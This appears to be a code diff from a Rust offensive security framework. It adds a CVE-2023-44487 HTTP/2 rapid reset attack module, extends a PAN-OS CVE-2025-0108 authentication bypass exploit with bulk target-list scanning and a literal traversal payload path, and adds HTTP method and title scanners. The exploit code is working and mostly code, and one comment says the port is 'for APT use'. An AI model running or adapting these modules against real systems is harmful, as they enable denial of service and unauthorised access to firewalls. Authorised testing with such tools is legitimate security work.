+
+        // Spawn connection task
+        tokio::spawn(async move {
+            if let Err(e) = connection.await {
+                eprintln!("Connection error: {:?}", e);
+            }
+        });
+
+        let mut successful = 0;
+        let start = Instant::now();
+
+        for i in 0..num_requests {
+            let request = http::Request::builder()
+                .uri(format!("http://{}:{}/", host, port))
+                .body(())
+                .unwrap();
+
+            match sender.send_request(request, true) {
+                Ok(_send_stream) => {
+                    // Request sent successfully with end_of_stream=true
+                    successful += 1;
+                }
+                Err(_) => {
+                    break;
+                }
+            }
+
+            if i < num_requests - 1 {
+                tokio::time::sleep(Duration::from_millis(100)).await;
+            }
+        }
+
+        let duration = start.elapsed();
+        println!("{}", format!("[+] Baseline Results:").green());
+        println!("  Total Requests: {}", num_requests);
+        println!("  Successful: {}", successful);
+        println!("  Success Rate: {:.2}%", (successful as f64 / num_requests as f64) * 100.0);
+        println!("  Duration: {:.3}s", duration.as_secs_f64());
+    }
+
+    Ok(())
+}
+
+/// Perform rapid reset attack test
+async fn rapid_reset_test(
+    host: &str,
+    port: u16,
+    use_ssl: bool,
+    num_streams: usize,
+    delay_ms: u64,
+) -> Result<()> {
+    println!("{}", format!("\n[*] Starting rapid reset test with {} streams...", num_streams).yellow());
+    
+    let host_normalized = normalize_host(host);
+    let addr = format!("{}:{}", host_normalized, port);
+    let socket_addr = addr
+        .to_socket_addrs()
+        .context("Invalid target address format")?
+        .next()
+        .context("Could not resolve target address")?;
+
+    let stream = TcpStream::connect(socket_addr).await?;
+    
+    if use_ssl {
+        let root_store = tokio_rustls::rustls::RootCertStore::empty();
+        let config = tokio_rustls::rustls::ClientConfig::builder()
+            .with_safe_defaults()
+            .with_root_certificates(root_store)
+            .with_no_client_auth();
+        let connector = TlsConnector::from(std::sync::Arc::new(config));
+        let server_name = tokio_rustls::rustls::ServerName::try_from(host)
+            .map_err(|_| anyhow!("Invalid server name"))?;
+        let tls_stream = connector.connect(server_name, stream).await?;
+        let (mut sender, connection) = Builder::new()
+            .handshake::<_, bytes::BytesMut>(tls_stream)
+            .await?;
+
+        // Spawn connection task
+        let connection_task = tokio::spawn(async move {
+            if let Err(e) = connection.await {
+                eprintln!("Connection error: {:?}", e);
+            }
+        });
+
+        let mut created_streams = Vec::new();
+        let start = Instant::now();
+
+        // Phase 1: Rapidly create streams
+        println!("{}", "[*] Phase 1: Creating streams rapidly...".yellow());
+        for i in 0..num_streams {
+            let request = http::Request::builder()
+                .uri(format!("https://{}:{}/", host, port))
+                .header("user-agent", "CVE-2023-44487-Tester/1.0")
+                .body(())
+                .unwrap();
+
+            match sender.send_request(request, false) {
+                Ok((_response_future, send_stream)) => {
+                    created_streams.push(send_stream);
+                    if delay_ms > 0 {
+                        tokio::time::sleep(Duration::from_millis(delay_ms)).await;
+                    }
+                }
+                Err(e) => {
+                    println!("{}", format!("[-] Error creating stream {}: {:?}", i, e).red());
+                    break;
+                }
+            }
+        }
+
+        let creation_duration = start.elapsed();
+        println!("{}", format!("[+] Created {} streams in {:.3}s", created_streams.len(), creation_duration.as_secs_f64()).green());
+
+        // Phase 2: Rapidly reset all streams
+        println!("{}", "[*] Phase 2: Resetting streams rapidly...".yellow());
+        let reset_start = Instant::now();
+        let mut reset_count = 0;
+
+        for mut send_stream in created_streams {
+            // Send RST_STREAM - send_stream has a send_reset method
+            send_stream.send_reset(h2::Reason::CANCEL);
+            reset_count += 1;
+
+            if delay_ms > 0 {
+                tokio::time::sleep(Duration::from_millis(delay_ms / 10)).await;
+            }
+        }
+
+        let reset_duration = reset_start.elapsed();
+        let total_duration = start.elapsed();
+        let reset_rate = if reset_duration.as_secs_f64() > 0.0 {
+            reset_count as f64 / reset_duration.as_secs_f64()
+        } else {
+            0.0
+        };
+
+        println!("{}", format!("[+] Reset {} streams in {:.3}s", reset_count, reset_duration.as_secs_f64()).green());
+        println!("{}", format!("[+] Reset Rate: {:.1} resets/second", reset_rate).green());
+        println!("{}", format!("[+] Total Duration: {:.3}s", total_duration.as_secs_f64()).green());
+
+        // Phase 3: Analysis
+        println!("{}", "\n[*] Vulnerability Analysis:".yellow());
+        
+        if reset_rate > 1000.0 {
+            println!("{}", "[!] HIGH RISK: Server accepts very high reset rates".red().bold());
+            println!("{}", "    This may indicate vulnerability to CVE-2023-44487".red());
+        } else if reset_rate > 100.0 {
+            println!("{}", "[!] MEDIUM RISK: Server accepts moderate reset rates".yellow().bold());
+            println!("{}", "    Further testing may be needed".yellow());
+        } else {
+            println!("{}", "[+] LOWER RISK: Server has rate limiting on resets".green());
+            println!("{}", "    This suggests some protection against the vulnerability".green());
+        }
+
+        // Cleanup
+        drop(sender);
+        let _ = timeout(Duration::from_secs(2), connection_task).await;
+    } else {
+        let (mut sender, connection) = Builder::new()
+            .handshake::<_, bytes::BytesMut>(stream)
+            .await?;
+
+        // Spawn connection task
+        let connection_task = tokio::spawn(async move {
+            if let Err(e) = connection.await {
+                eprintln!("Connection error: {:?}", e);
+            }
+        });
+
+        let mut created_streams = Vec::new();
+        let start = Instant::now();
+
+        // Phase 1: Rapidly create streams
+        println!("{}", "[*] Phase 1: Creating streams rapidly...".yellow());
+        for i in 0..num_streams {
+            let request = http::Request::builder()
+                .uri(format!("http://{}:{}/", host, port))
+                .header("user-agent", "CVE-2023-44487-Tester/1.0")
+                .body(())
+                .unwrap();
+
+            match sender.send_request(request, false) {
+                Ok((_response_future, send_stream)) => {
+                    created_streams.push(send_stream);
+                    if delay_ms > 0 {
+                        tokio::time::sleep(Duration::from_millis(delay_ms)).await;
+                    }
+                }
+                Err(e) => {
+                    println!("{}", format!("[-] Error creating stream {}: {:?}", i, e).red());
+                    break;
+                }
+            }
+        }
+
+        let creation_duration = start.elapsed();
+        println!("{}", format!("[+] Created {} streams in {:.3}s", created_streams.len(), creation_duration.as_secs_f64()).green());
+
+        // Phase 2: Rapidly reset all streams
+        println!("{}", "[*] Phase 2: Resetting streams rapidly...".yellow());
+        let reset_start = Instant::now();
+        let mut reset_count = 0;
+
+        for mut send_stream in created_streams {
+            // Send RST_STREAM - send_stream has a send_reset method
+            send_stream.send_reset(h2::Reason::CANCEL);
+            reset_count += 1;
+
+            if delay_ms > 0 {
+                tokio::time::sleep(Duration::from_millis(delay_ms / 10)).await;
+            }
+        }
+
+        let reset_duration = reset_start.elapsed();
+        let total_duration = start.elapsed();
+        let reset_rate = if reset_duration.as_secs_f64() > 0.0 {
+            reset_count as f64 / reset_duration.as_secs_f64()
+        } else {
+            0.0
+        };
+
+        println!("{}", format!("[+] Reset {} streams in {:.3}s", reset_count, reset_duration.as_secs_f64()).green());
+        println!("{}", format!("[+] Reset Rate: {:.1} resets/second", reset_rate).green());
+        println!("{}", format!("[+] Total Duration: {:.3}s", total_duration.as_secs_f64()).green());
+
+        // Phase 3: Analysis
+        println!("{}", "\n[*] Vulnerability Analysis:".yellow());
+        
+        if reset_rate > 1000.0 {
+            println!("{}", "[!] HIGH RISK: Server accepts very high reset rates".red().bold());
+            println!("{}", "    This may indicate vulnerability to CVE-2023-44487".red());
+        } else if reset_rate > 100.0 {
+            println!("{}", "[!] MEDIUM RISK: Server accepts moderate reset rates".yellow().bold());
+            println!("{}", "    Further testing may be needed".yellow());
+        } else {
+            println!("{}", "[+] LOWER RISK: Server has rate limiting on resets".green());
+            println!("{}", "    This suggests some protection against the vulnerability".green());
+        }
+
+        // Cleanup
+        drop(sender);
+        let _ = timeout(Duration::from_secs(2), connection_task).await;
+    }
+
+    Ok(())
+}
+
+/// Main entry point for auto-dispatch system
+pub async fn run(target: &str) -> Result<()> {
+    banner();
+
+    // Parse target (could be host:port or just host)
+    let (host, default_port) = if let Some(colon_pos) = target.rfind(':') {
+        let h = &target[..colon_pos];
+        let p = target[colon_pos + 1..].parse::<u16>().unwrap_or(443);
+        (h.to_string(), p)
+    } else {
+        (target.to_string(), 443)
+    };
+
+    // Interactive prompts
+    let mut port_input = String::new();
+    print!("{}", format!("Enter target port (default {}): ", default_port).cyan().bold());
+    io::stdout().flush()?;
+    io::stdin().read_line(&mut port_input)?;
+    let port: u16 = port_input.trim().parse().unwrap_or(default_port);
+
+    let mut ssl_input = String::new();
+    print!("{}", "Use SSL/TLS? (yes/no, default yes): ".cyan().bold());
+    io::stdout().flush()?;
+    io::stdin().read_line(&mut ssl_input)?;
+    let use_ssl = !ssl_input.trim().to_lowercase().starts_with('n');
+
+    let mut streams_input = String::new();
+    print!("{}", "Number of streams for rapid reset test (default 100): ".cyan().bold());
+    io::stdout().flush()?;
+    io::stdin().read_line(&mut streams_input)?;
+    let num_streams: usize = streams_input.trim().parse().unwrap_or(100);
+
+    let mut delay_input = String::new();
+    print!("{}", "Delay between operations in ms (default 1): ".cyan().bold());
+    io::stdout().flush()?;
+    io::stdin().read_line(&mut delay_input)?;
+    let delay_ms: u64 = delay_input.trim().parse().unwrap_or(1);
+
+    let mut baseline_input = String::new();
+    print!("{}", "Run baseline test first? (yes/no, default yes): ".cyan().bold());
+    io::stdout().flush()?;
+    io::stdin().read_line(&mut baseline_input)?;
+    let run_baseline = !baseline_input.trim().to_lowercase().starts_with('n');
+
+    println!("\n{}", "=".repeat(60).cyan());
+    println!("{}", format!("Target: {}:{}", host, port).yellow());
+    println!("{}", format!("SSL: {}", if use_ssl { "Enabled" } else { "Disabled" }).yellow());
+    println!("{}", "=".repeat(60).cyan());
+
+    // Legal disclaimer
+    println!("\n{}", "LEGAL DISCLAIMER:".red().bold());
+    println!("This tool is for authorized security testing only.");
+    println!("Ensure you have permission to test the target system.");
+    println!("Unauthorized use may be illegal.\n");
+
+    let mut confirm = String::new();
+    print!("{}", "Do you have permission to test this system? (yes/no): ".cyan().bold());
+    io::stdout().flush()?;
+    io::stdin().read_line(&mut confirm)?;
+    
+    if !confirm.trim().to_lowercase().starts_with('y') {
+        println!("{}", "Exiting. Only use this tool on systems you're authorized to test.".red());
+        return Ok(());
+    }
+
+    // Run baseline test
+    if run_baseline {
+        if let Err(e) = baseline_test(&host, port, use_ssl, 10).await {
+            println!("{}", format!("[-] Baseline test error: {}", e).red());
+        }
+    }
+
+    // Run rapid reset test
+    if let Err(e) = rapid_reset_test(&host, port, use_ssl, num_streams, delay_ms).await {
+        println!("{}", format!("[-] Rapid reset test error: {}", e).red());
+    }
+
+    println!("\n{}", "[*] Test completed.".cyan());
+
+    Ok(())
+}
+

src/modules/exploits/http2/mod.rs

@@ -0,0 +1,2 @@
+pub mod cve_2023_44487_http2_rapid_reset;
+

src/modules/exploits/mod.rs

@@ -15,4 +15,6 @@ pub mod ivanti;
 pub mod apache_tomcat;
 pub mod palo_alto;
 pub mod roundcube;
+pub mod flowise;
+pub mod http2;
 

src/modules/exploits/palo_alto/panos_authbypass_cve_2025_0108.rs

@@ -1,6 +1,9 @@
 // Filename: cve_2025_0108.rs
+// CVE-2025-0108 - PanOS Authentication Bypass
+// Author: iSee857
+// Ported to Rust by ethical hacker daniel for APT use
 
-use anyhow::{Result, bail};
+use anyhow::{Context, Result, bail};
 use colored::*;
 use reqwest::Client;
 use std::{
@@ -11,11 +14,7 @@ use std::{
 };
 use url::Url;
 
-/// // CVE-2025-0108 - PanOS Authentication Bypass
-/// // Author: iSee857
-/// // Ported to Rust by ethical hacker daniel for APT use
-
-/// // Displays module banner
+/// Displays module banner
 fn banner() {
     println!(
         "{}",
@@ -30,14 +29,27 @@ fn banner() {
     );
 }
 
-/// // Reads target list from file
+/// Reads target list from file
 fn read_file(file_path: &str) -> Result<Vec<String>> {
-    let file = File::open(file_path)?;
+    let file = File::open(file_path)
+        .with_context(|| format!("Failed to open file: {}", file_path))?;
     let reader = BufReader::new(file);
-    Ok(reader.lines().filter_map(Result::ok).collect())
+    let urls: Vec<String> = reader
+        .lines()
+        .filter_map(|line| {
+            let line = line.ok()?;
+            let trimmed = line.trim();
+            if trimmed.is_empty() || trimmed.starts_with('#') {
+                None
+            } else {
+                Some(trimmed.to_string())
+            }
+        })
+        .collect();
+    Ok(urls)
 }
 
-/// // Normalize IPv6 host with double or triple brackets
+/// Normalize IPv6 host with double or triple brackets
 fn normalize_ipv6_host(host: &str) -> String {
     let stripped = host.trim_matches(|c| c == '[' || c == ']');
     if stripped.contains(':') {
@@ -47,14 +59,14 @@ fn normalize_ipv6_host(host: &str) -> String {
     }
 }
 
-/// // Constructs the full normalized URL
+/// Constructs the full normalized URL
 fn normalize_url(host: &str, port: u16, proto: &str) -> Option<String> {
     let host = normalize_ipv6_host(host);
     let base = format!("{}{}:{}", proto, host, port);
     Url::parse(&base).ok().map(|u| u.to_string())
 }
 
-/// // Opens a URL in the default system browser
+/// Opens a URL in the default system browser
 fn open_browser(url: &str) -> Result<()> {
     #[cfg(target_os = "linux")]
     let cmd = Command::new("xdg-open").arg(url).spawn();
@@ -71,7 +83,7 @@ fn open_browser(url: &str) -> Result<()> {
     Ok(())
 }
 
-/// // Executes CVE-2025-0108 check
+/// Executes CVE-2025-0108 check
 async fn check(url: &str, port: u16, client: &Client) -> Result<bool> {
     let protocols = ["http://", "https://"];
     let path = "/unauth/%252e%252e/php/ztp_gate.php/PAN_help/x.css";
@@ -79,7 +91,7 @@ async fn check(url: &str, port: u16, client: &Client) -> Result<bool> {
     for proto in &protocols {
         if let Some(base_url) = normalize_url(url, port, proto) {
             let full_url = format!("{}{}", base_url.trim_end_matches('/'), path);
-            println!("{}", full_url);
+            println!("{}", format!("[*] Testing: {}", full_url).yellow());
 
             let resp = client.get(&full_url).send().await;
 
@@ -90,11 +102,25 @@ async fn check(url: &str, port: u16, client: &Client) -> Result<bool> {
                 if status.as_u16() == 200 && body.contains("Zero Touch Provisioning") {
                     println!(
                         "{}",
-                        format!("Find: {}:{} PanOS_CVE-2025-0108_LoginByPass!", url, port).red()
+                        format!("[+] Find: {}:{} PanOS_CVE-2025-0108_LoginByPass!", url, port)
+                            .green()
+                            .bold()
                     );
+                    println!("{}", format!("[*] Vulnerable URL: {}", full_url).cyan());
                     let _ = open_browser(&full_url);
                     return Ok(true);
+                } else {
+                    println!(
+                        "{}",
+                        format!("[-] Not vulnerable: {}:{} - Response code: {}", url, port, status.as_u16())
+                            .red()
+                    );
                 }
+            } else {
+                println!(
+                    "{}",
+                    format!("[-] Error connecting to {}:{}", url, port).red()
+                );
             }
         }
     }
@@ -102,8 +128,7 @@ async fn check(url: &str, port: u16, client: &Client) -> Result<bool> {
     Ok(false)
 }
 
-
-/// // Main entry point for auto-dispatch system
+/// Main entry point for auto-dispatch system
 pub async fn run(target: &str) -> Result<()> {
     banner();
 
@@ -116,15 +141,24 @@ pub async fn run(target: &str) -> Result<()> {
     let client = Client::builder()
         .timeout(Duration::from_secs(10))
         .danger_accept_invalid_certs(true)
-        .build()?;
+        .build()
+        .context("Failed to create HTTP client")?;
 
     if target.ends_with(".txt") {
         let urls = read_file(target)?;
-        for url in urls {
-            let _ = check(&url, port, &client).await;
+        if urls.is_empty() {
+            return Err(anyhow::anyhow!("No URLs found in file: {}", target));
         }
+        println!("{}", format!("[*] Loaded {} URLs from file", urls.len()).yellow());
+        let mut vulnerable_count = 0;
+        for url in urls {
+            if check(&url, port, &client).await? {
+                vulnerable_count += 1;
+            }
+        }
+        println!("{}", format!("[*] Scan completed. Found {} vulnerable target(s)", vulnerable_count).cyan());
     } else {
-        let _ = check(target, port, &client).await;
+        let _ = check(target, port, &client).await?;
     }
 
     Ok(())

src/modules/scanners/http_method_scanner.rs

@@ -0,0 +1,377 @@
+use anyhow::{anyhow, Context, Result};
+use chrono::Utc;
+use reqwest::{Client, Method, StatusCode, Url};
+use std::collections::HashSet;
+use std::fs;
+use std::io::{self, Write};
+use std::time::Duration;
+
+const METHODS: &[&str] = &[
+    "GET",
+    "POST",
+    "HEAD",
+    "OPTIONS",
+    "PUT",
+    "DELETE",
+    "PATCH",
+    "TRACE",
+    "CONNECT",
+];
+
+struct MethodResult {
+    method: &'static str,
+    status: Option<StatusCode>,
+    ok: bool,
+    error: Option<String>,
+    duration_ms: u128,
+}
+
+struct TargetResult {
+    target: String,
+    results: Vec<MethodResult>,
+}
+
+pub async fn run(initial_target: &str) -> Result<()> {
+    banner();
+
+    let mut targets = collect_initial_targets(initial_target);
+
+    let additional = prompt("Enter additional comma-separated targets (optional): ")?;
+    if !additional.is_empty() {
+        targets.extend(split_targets(&additional));
+    }
+
+    let file_path = prompt("Path to file with targets (optional): ")?;
+    if !file_path.is_empty() {
+        let file_targets = load_targets_from_file(&file_path)?;
+        targets.extend(file_targets);
+    }
+
+    let default_scheme_input = prompt("Preferred scheme (http/https, default https): ")?;
+    let default_scheme = match default_scheme_input.to_lowercase().as_str() {
+        "http" => "http",
+        _ => "https",
+    };
+
+    let use_ports = prompt_bool(
+        "Test via specific ports (port tunneling)? (yes/no, default no): ",
+        false,
+    )?;
+    let ports = if use_ports {
+        prompt_ports()?
+    } else {
+        Vec::new()
+    };
+
+    let timeout_input = prompt("Request timeout in seconds (default 10): ")?;
+    let timeout_secs: u64 = timeout_input
+        .parse()
+        .ok()
+        .filter(|val| *val > 0)
+        .unwrap_or(10);
+
+    let verbose = prompt_bool("Enable verbose output? (yes/no, default no): ", false)?;
+    let save_output = prompt_bool("Save results to file? (yes/no, default yes): ", true)?;
+
+    let mut normalized = normalize_targets(targets, default_scheme);
+    if !ports.is_empty() {
+        let expanded = expand_targets_with_ports(&normalized, &ports);
+        if expanded.is_empty() {
+            println!("[!] No valid port combinations derived; continuing without port tunneling.");
+        } else {
+            normalized = expanded;
+        }
+    }
+    if normalized.is_empty() {
+        return Err(anyhow!("No valid targets provided"));
+    }
+    normalized.sort();
+
+    let client = Client::builder()
+        .user_agent("RustSploit-HTTP-Method-Scanner/1.0")
+        .timeout(Duration::from_secs(timeout_secs))
+        .redirect(reqwest::redirect::Policy::limited(5))
+        .build()
+        .context("Failed to build HTTP client")?;
+
+    let mut all_results = Vec::new();
+
+    for target in &normalized {
+        println!("\n=== Target: {} ===", target);
+        let mut method_results = Vec::new();
+
+        for &method_name in METHODS {
+            let method = Method::from_bytes(method_name.as_bytes()).unwrap_or(Method::GET);
+            let body = match method_name {
+                "POST" | "PUT" | "PATCH" => Some("RustSploit HTTP method scanner test".to_string()),
+                _ => None,
+            };
+
+            let start = std::time::Instant::now();
+            let response = if let Some(ref payload) = body {
+                client
+                    .request(method.clone(), target)
+                    .body(payload.clone())
+                    .send()
+                    .await
+            } else {
+                client.request(method.clone(), target).send().await
+            };
+            let elapsed = start.elapsed();
+
+            match response {
+                Ok(resp) => {
+                    let status = resp.status();
+                    let ok = status.is_success();
+                    if verbose {
+                        println!(
+                            "  [{}] {} -> {} ({:.2?})",
+                            method_name,
+                            target,
+                            status,
+                            elapsed
+                        );
+                    } else {
+                        println!("  [{}] {}", method_name, status);
+                    }
+                    method_results.push(MethodResult {
+                        method: method_name,
+                        status: Some(status),
+                        ok,
+                        error: None,
+                        duration_ms: elapsed.as_millis(),
+                    });
+                }
+                Err(err) => {
+                    if verbose {
+                        println!(
+                            "  [{}] {} -> error: {} ({:.2?})",
+                            method_name,
+                            target,
+                            err,
+                            elapsed
+                        );
+                    } else {
+                        println!("  [{}] error: {}", method_name, err);
+                    }
+                    method_results.push(MethodResult {
+                        method: method_name,
+                        status: None,
+                        ok: false,
+                        error: Some(err.to_string()),
+                        duration_ms: elapsed.as_millis(),
+                    });
+                }
+            }
+        }
+
+        all_results.push(TargetResult {
+            target: target.clone(),
+            results: method_results,
+        });
+    }
+
+    if save_output {
+        let default_name = format!(
+            "http_method_scan_{}.txt",
+            Utc::now().format("%Y%m%d_%H%M%S")
+        );
+        let output_path = prompt_with_default(
+            "Enter output file path (press Enter for default): ",
+            &default_name,
+        )?;
+        write_report(&output_path, &all_results)?;
+        println!("[*] Results saved to {}", output_path);
+    }
+
+    println!("\n[*] Scan complete.");
+    Ok(())
+}
+
+fn banner() {
+    println!(
+        "{}",
+        r#"
+╔══════════════════════════════════════════════════════╗
+║         HTTP METHOD CAPABILITY SCANNER               ║
+║          Checks support for common verbs             ║
+╚══════════════════════════════════════════════════════╝
+"#
+    );
+}
+
+fn collect_initial_targets(initial_target: &str) -> Vec<String> {
+    let mut targets = Vec::new();
+    let trimmed = initial_target.trim();
+    if !trimmed.is_empty() && trimmed != "http_method_scanner" {
+        targets.extend(split_targets(trimmed));
+    }
+    targets
+}
+
+fn split_targets(input: &str) -> Vec<String> {
+    input
+        .split(|c| c == ',' || c == '\n' || c == ';')
+        .map(|item| item.trim().trim_end_matches('/').to_string())
+        .filter(|item| !item.is_empty())
+        .collect()
+}
+
+fn load_targets_from_file(path: &str) -> Result<Vec<String>> {
+    let data = fs::read_to_string(path)
+        .with_context(|| format!("Failed to read target file: {}", path))?;
+    Ok(split_targets(&data))
+}
+
+fn normalize_targets(targets: Vec<String>, default_scheme: &str) -> Vec<String> {
+    let mut unique = HashSet::new();
+    let mut normalized = Vec::new();
+
+    for raw in targets {
+        let target = raw.trim();
+        if target.is_empty() {
+            continue;
+        }
+        let formatted = if target.starts_with("http://")
+            || target.starts_with("https://")
+            || target.contains("://")
+        {
+            target.to_string()
+        } else {
+            format!("{}://{}", default_scheme, target)
+        };
+        if unique.insert(formatted.clone()) {
+            normalized.push(formatted);
+        }
+    }
+
+    normalized
+}
+
+fn expand_targets_with_ports(targets: &[String], ports: &[u16]) -> Vec<String> {
+    let mut expanded = Vec::new();
+    let mut seen = HashSet::new();
+
+    for target in targets {
+        if let Ok(url) = Url::parse(target) {
+            for port in ports {
+                let mut candidate = url.clone();
+                if candidate.set_port(Some(*port)).is_ok() {
+                    let final_url = candidate.to_string();
+                    if seen.insert(final_url.clone()) {
+                        expanded.push(final_url);
+                    }
+                }
+            }
+        } else {
+            for port in ports {
+                let final_url = format!("{}:{}", target, port);
+                if seen.insert(final_url.clone()) {
+                    expanded.push(final_url);
+                }
+            }
+        }
+    }
+
+    expanded
+}
+
+fn prompt(message: &str) -> Result<String> {
+    print!("{}", message);
+    io::stdout().flush().context("Failed to flush stdout")?;
+    let mut input = String::new();
+    io::stdin()
+        .read_line(&mut input)
+        .context("Failed to read user input")?;
+    Ok(input.trim().to_string())
+}
+
+fn prompt_bool(message: &str, default: bool) -> Result<bool> {
+    let default_text = if default { "yes" } else { "no" };
+    let input = prompt(&format!("{}", message))?;
+    if input.is_empty() {
+        return Ok(default);
+    }
+    match input.to_lowercase().as_str() {
+        "y" | "yes" | "true" => Ok(true),
+        "n" | "no" | "false" => Ok(false),
+        _ => {
+            println!("[!] Invalid input, using default ({})", default_text);
+            Ok(default)
+        }
+    }
+}
+
+fn prompt_with_default(message: &str, default: &str) -> Result<String> {
+    let input = prompt(message)?;
+    if input.is_empty() {
+        Ok(default.to_string())
+    } else {
+        Ok(input)
+    }
+}
+
+fn prompt_ports() -> Result<Vec<u16>> {
+    let input = prompt(
+        "Enter port(s) to tunnel through (comma-separated, e.g., 80,8080; leave blank to skip): ",
+    )?;
+    if input.is_empty() {
+        println!("[!] No ports provided; skipping port tunneling.");
+        return Ok(Vec::new());
+    }
+
+    let mut ports = Vec::new();
+    let mut seen = HashSet::new();
+    for part in input.split(|c| c == ',' || c == ';' || c == ' ') {
+        let trimmed = part.trim();
+        if trimmed.is_empty() {
+            continue;
+        }
+        match trimmed.parse::<u16>() {
+            Ok(port) => {
+                if seen.insert(port) {
+                    ports.push(port);
+                }
+            }
+            Err(_) => println!("[!] Skipping invalid port '{}'.", trimmed),
+        }
+    }
+
+    if ports.is_empty() {
+        println!("[!] No valid ports parsed; skipping port tunneling.");
+    }
+
+    Ok(ports)
+}
+
+fn write_report(path: &str, results: &[TargetResult]) -> Result<()> {
+    let mut lines = Vec::new();
+    lines.push("HTTP Method Scanner Report".to_string());
+    lines.push(format!("Generated at: {}", Utc::now()));
+    lines.push(String::new());
+
+    for target in results {
+        lines.push(format!("Target: {}", target.target));
+        for method in &target.results {
+            if let Some(status) = method.status {
+                lines.push(format!(
+                    "  - {:<7} status: {:<5} success: {:<5} time: {} ms",
+                    method.method,
+                    status.as_u16(),
+                    method.ok,
+                    method.duration_ms
+                ));
+            } else if let Some(ref error) = method.error {
+                lines.push(format!(
+                    "  - {:<7} error: {} time: {} ms",
+                    method.method,
+                    error,
+                    method.duration_ms
+                ));
+            }
+        }
+        lines.push(String::new());
+    }
+
+    fs::write(path, lines.join("\n")).with_context(|| format!("Failed to write report to {}", path))
+}

src/modules/scanners/http_title_scanner.rs

@@ -1,33 +1,373 @@
-use anyhow::{Result, Context};
+use anyhow::{anyhow, Context, Result};
+use chrono::Utc;
 use regex::Regex;
-use reqwest::Client;
+use reqwest::{Client, StatusCode, Url};
+use std::collections::HashSet;
+use std::fs;
+use std::io::{self, Write};
+use std::time::Duration;
 
-pub async fn run(target: &str) -> Result<()> {
-    run_interactive(target).await
-}
+pub async fn run(initial_target: &str) -> Result<()> {
+    banner();
+
+    let mut targets = collect_initial_targets(initial_target);
+
+    let additional = prompt("Enter additional comma-separated targets (optional): ")?;
+    if !additional.is_empty() {
+        targets.extend(split_targets(&additional));
+    }
+
+    let file_path = prompt("Path to file with targets (optional): ")?;
+    if !file_path.is_empty() {
+        let file_targets = load_targets_from_file(&file_path)?;
+        targets.extend(file_targets);
+    }
+
+    let check_http = prompt_bool("Check HTTP (http://)? (yes/no, default yes): ", true)?;
+    let check_https = prompt_bool("Check HTTPS (https://)? (yes/no, default yes): ", true)?;
+
+    if !check_http && !check_https {
+        println!("[!] Neither HTTP nor HTTPS selected; nothing to scan.");
+        return Ok(());
+    }
+
+    let use_ports = prompt_bool(
+        "Test via specific ports (port tunneling)? (yes/no, default no): ",
+        false,
+    )?;
+    let ports = if use_ports {
+        prompt_ports()?
+    } else {
+        Vec::new()
+    };
+
+    let timeout_secs = prompt_timeout()?;
+    let save_output = prompt_bool("Save results to file? (yes/no, default yes): ", true)?;
+    let verbose = prompt_bool("Enable verbose output? (yes/no, default no): ", false)?;
+
+    let mut normalized = normalize_targets(targets, check_http, check_https);
+    if !ports.is_empty() {
+        let expanded = expand_targets_with_ports(&normalized, &ports);
+        if expanded.is_empty() {
+            println!("[!] No valid port combinations derived; continuing without port tunneling.");
+        } else {
+            normalized = expanded;
+        }
+    }
+    if normalized.is_empty() {
+        return Err(anyhow!("No valid targets provided"));
+    }
+    normalized.sort();
 
-pub async fn run_interactive(target: &str) -> Result<()> {
     let client = Client::builder()
+        .user_agent("RustSploit-HTTP-Title-Scanner/1.0")
+        .timeout(Duration::from_secs(timeout_secs))
         .redirect(reqwest::redirect::Policy::limited(5))
         .build()
         .context("Failed to build HTTP client")?;
 
-    let title_re = Regex::new(r"(?i)<title>(.*?)</title>")?;
-    for scheme in ["http", "https"] {
-        let url = format!("{}://{}", scheme, target);
-        match client.get(&url).send().await {
-            Ok(resp) => {
-                let text = resp.text().await.unwrap_or_default();
-                if let Some(cap) = title_re.captures(&text) {
-                    println!("[+] {} -> {}", url, cap.get(1).unwrap().as_str());
+    let title_re = Regex::new(r"(?is)<title\b[^>]*>(.*?)</title>")?;
+    let mut all_results = Vec::new();
+
+    for url in &normalized {
+        match fetch_title(&client, url, &title_re).await {
+            Ok(result) => {
+                if let Some(title) = &result.title {
+                    println!("[+] {} -> {}" , url, title);
+                } else if let Some(status) = result.status {
+                    println!("[+] {} -> <no title> (status: {})", url, status);
                 } else {
                     println!("[+] {} -> <no title>", url);
                 }
+                if verbose {
+                    if let Some(status) = result.status {
+                        println!("    Status: {}", status);
+                    }
+                    println!("    Duration: {} ms", result.duration_ms);
+                }
+                all_results.push(result);
             }
-            Err(e) => {
-                println!("[-] Failed {}: {}", url, e);
+            Err(err) => {
+                println!("[-] {} -> error: {}", url, err);
+                all_results.push(TitleResult {
+                    url: url.clone(),
+                    status: None,
+                    title: None,
+                    error: Some(err.to_string()),
+                    duration_ms: 0,
+                });
             }
         }
     }
+
+    if save_output {
+        let default_name = format!(
+            "http_title_scan_{}.txt",
+            Utc::now().format("%Y%m%d_%H%M%S")
+        );
+        let output_path = prompt_with_default(
+            "Enter output file path (press Enter for default): ",
+            &default_name,
+        )?;
+        write_report(&output_path, &all_results)?;
+        println!("[*] Results saved to {}", output_path);
+    }
+
+    println!("\n[*] Scan complete.");
     Ok(())
 }
+
+struct TitleResult {
+    url: String,
+    status: Option<StatusCode>,
+    title: Option<String>,
+    error: Option<String>,
+    duration_ms: u128,
+}
+
+impl TitleResult {
+    fn display_title(&self) -> String {
+        match (&self.title, &self.error) {
+            (Some(title), _) => title.clone(),
+            (None, Some(err)) => format!("error: {}", err),
+            (None, None) => "<no title>".to_string(),
+        }
+    }
+}
+
+async fn fetch_title(client: &Client, url: &str, title_re: &Regex) -> Result<TitleResult> {
+    let start = std::time::Instant::now();
+    let response = client.get(url).send().await.context("Request failed")?;
+    let status = response.status();
+    let text = response.text().await.unwrap_or_default();
+    let title = title_re
+        .captures(&text)
+        .and_then(|cap| cap.get(1))
+        .map(|m| sanitize_title(m.as_str()));
+    let duration = start.elapsed().as_millis();
+
+    Ok(TitleResult {
+        url: url.to_string(),
+        status: Some(status),
+        title,
+        error: None,
+        duration_ms: duration,
+    })
+}
+
+fn sanitize_title(raw: &str) -> String {
+    raw
+        .lines()
+        .map(|line| line.trim())
+        .filter(|line| !line.is_empty())
+        .collect::<Vec<_>>()
+        .join(" ")
+        .chars()
+        .take(200)
+        .collect()
+}
+
+fn collect_initial_targets(initial_target: &str) -> Vec<String> {
+    let mut targets = Vec::new();
+    let trimmed = initial_target.trim();
+    if !trimmed.is_empty() && trimmed != "http_title_scanner" {
+        targets.extend(split_targets(trimmed));
+    }
+    targets
+}
+
+fn split_targets(input: &str) -> Vec<String> {
+    input
+        .split(|c| c == ',' || c == '\n' || c == ';')
+        .map(|item| item.trim().trim_end_matches('/').to_string())
+        .filter(|item| !item.is_empty())
+        .collect()
+}
+
